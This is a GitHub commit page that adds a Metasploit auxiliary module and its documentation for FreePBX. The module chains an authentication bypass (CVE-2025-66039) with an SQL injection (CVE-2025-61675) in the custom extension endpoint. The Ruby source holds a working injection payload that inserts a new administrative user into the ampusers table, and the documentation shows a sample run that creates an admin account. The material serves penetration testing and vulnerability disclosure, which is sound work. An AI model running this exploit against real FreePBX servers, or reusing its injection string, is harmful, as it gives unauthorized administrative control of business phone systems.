Skip to content

Commit be4a69a

Browse files
authored
Merge pull request #20846 from msutovsky-r7/exploit/freepbx/injections_rce
Adds auxiliary module for FreePBX (CVE-2025-66039, CVE-2025-61675)
2 parents 518d1c8 + 7e92ef4 commit be4a69a

File tree

2 files changed

+183
-0
lines changed

2 files changed

+183
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
## Vulnerable Application
2+
3+
FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses
4+
that use VoIP to make and receive phone calls.
5+
Versions prior to 16.0.44, 16.0.92 and 17.0.6, 17.0.23 are vulnerable to multiple CVEs,
6+
specifically CVE-2025-66039 and CVE-2025-61675, in the context of this module.
7+
The versions before 16.0.44 and 17.0.23 are vulnerable
8+
to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675.
9+
The former represents an authentication bypass: when
10+
FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to
11+
authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the
12+
SQL injection in the custom extension component.
13+
The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a
14+
new administrative user.
15+
16+
To setup the environment, perform minimal installation from [here](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso).
17+
Note that **Authorization Type** needs to be set to **webserver**:
18+
19+
1. Log into FreePBX Administration
20+
1. Settings -> Advanced Settings
21+
1. Change **Authorization Type** to **webserver**
22+
23+
Finally, the FreePBX needs to be activated to access vulnerable APIs:
24+
25+
1. Log into FreePBX Administraton
26+
1. Admin -> System Admin
27+
1. Activate instance
28+
29+
## Verification Steps
30+
31+
1. Install FreePBX
32+
1. Start msfconsole
33+
1. Do: `use auxiliary/gather/freepbx_custom_extension_injection`
34+
1. Do: `set RHOSTS [target IP address]`
35+
1. Do: `set USERNAME [FreePBX user]`
36+
1. Do: `set NEW_USERNAME [new username]`
37+
1. Do: `set NEW_PASSWORD [new password]`
38+
1. Do: `run`
39+
40+
41+
## Options
42+
43+
### NEW_USERNAME
44+
45+
Username for new administrative user.
46+
47+
### NEW_PASSWORD
48+
49+
Password for new administrative user.
50+
51+
### USERNAME
52+
53+
Performing authentication bypass requires the username of an existing user.
54+
55+
## Scenarios
56+
57+
```
58+
msf auxiliary(gather/freepbx_custom_extension_injection) > set rhosts 192.168.168.223
59+
rhosts => 192.168.168.223
60+
msf auxiliary(gather/freepbx_custom_extension_injection) > set new_username msfuser1
61+
new_username => msfuser1
62+
smsf auxiliary(gather/freepbx_custom_extension_injection) > set new_password msflab
63+
new_password => msflab
64+
msf auxiliary(gather/freepbx_custom_extension_injection) > run verbose=true
65+
[*] Running module against 192.168.168.223
66+
[*] Trying to create new administrative user
67+
[+] New admin account: msfuser1/msflab
68+
[*] Auxiliary module execution completed
69+
```
Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::HttpClient
9+
10+
def initialize(info = {})
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'FreePBX Custom Extension SQL Injection',
15+
'Description' => %q{
16+
FreePBX versions prior to 16.0.44,16.0.92 and 17.0.23,17.0.6 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61675, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a new administrative user.
17+
},
18+
'Author' => [
19+
'Noah King', # research
20+
'msutovsky-r7', # module
21+
],
22+
'License' => MSF_LICENSE,
23+
'References' => [
24+
[ 'CVE', '2025-66039'], # Authentication Bypass
25+
[ 'CVE', '2025-61675'], # SQL injections
26+
[ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
27+
],
28+
'DisclosureDate' => '2025-12-11',
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
'Reliability' => [],
32+
'SideEffects' => [IOC_IN_LOGS]
33+
}
34+
)
35+
)
36+
register_options([
37+
OptString.new('USERNAME', [true, 'A valid FreePBX user']),
38+
OptString.new('NEW_USERNAME', [false, 'Username for inserted user']),
39+
OptString.new('NEW_PASSWORD', [false, 'Password for inserted user']),
40+
])
41+
end
42+
43+
def sql_injection(payload)
44+
send_request_cgi({
45+
'uri' => normalize_uri('admin', 'config.php'),
46+
'method' => 'POST',
47+
'headers' => {
48+
'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6))
49+
},
50+
'vars_get' => {
51+
'display' => 'endpoint',
52+
'view' => 'customExt'
53+
},
54+
'vars_post' => {
55+
'id' => payload
56+
}
57+
})
58+
end
59+
60+
def check
61+
res = sql_injection(%('))
62+
if res&.code == 500
63+
return Exploit::CheckCode::Vulnerable('Detected SQL injection with authentication bypass')
64+
end
65+
66+
Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
67+
end
68+
69+
def run
70+
username = datastore['NEW_USERNAME'] || Rex::Text.rand_text_alphanumeric(rand(4..10))
71+
password = datastore['NEW_PASSWORD'] || Rex::Text.rand_text_alphanumeric(rand(6..12))
72+
73+
print_status('Trying to create new administrative user')
74+
res = custom_extension_injection(username, Digest::SHA1.hexdigest(password))
75+
76+
fail_with(Failure::PayloadFailed, 'Failed to create administrative user') unless res&.code == 401
77+
78+
if valid_admin_creds?(username, password)
79+
print_good("New admin account: #{username}/#{password}")
80+
else
81+
print_error('Failed to create new user')
82+
end
83+
end
84+
85+
def valid_admin_creds?(username, password)
86+
res = send_request_cgi({
87+
'uri' => normalize_uri('admin', 'ajax.php'),
88+
'method' => 'POST',
89+
'vars_get' => {
90+
'module' => 'userman',
91+
'command' => 'checkPasswordReminder'
92+
},
93+
'headers' => { Referer: full_uri(normalize_uri('admin', 'config.php')) },
94+
'vars_post' => {
95+
'username' => username,
96+
'password' => Rex::Text.encode_base64(password),
97+
'loginpanel' => 'admin'
98+
}
99+
})
100+
101+
return false unless res&.code == 200
102+
103+
json_data = res.get_json_document
104+
105+
return false unless json_data['status'] == true && json_data['message'] == '' && json_data['usertype'] == 'admin'
106+
107+
true
108+
end
109+
110+
def custom_extension_injection(username, password_digest)
111+
sql_injection(%<1';INSERT INTO ampusers (username, password_sha1, sections) VALUES ('#{username}', '#{password_digest}', '*')#>)
112+
end
113+
114+
end

0 commit comments

Comments
 (0)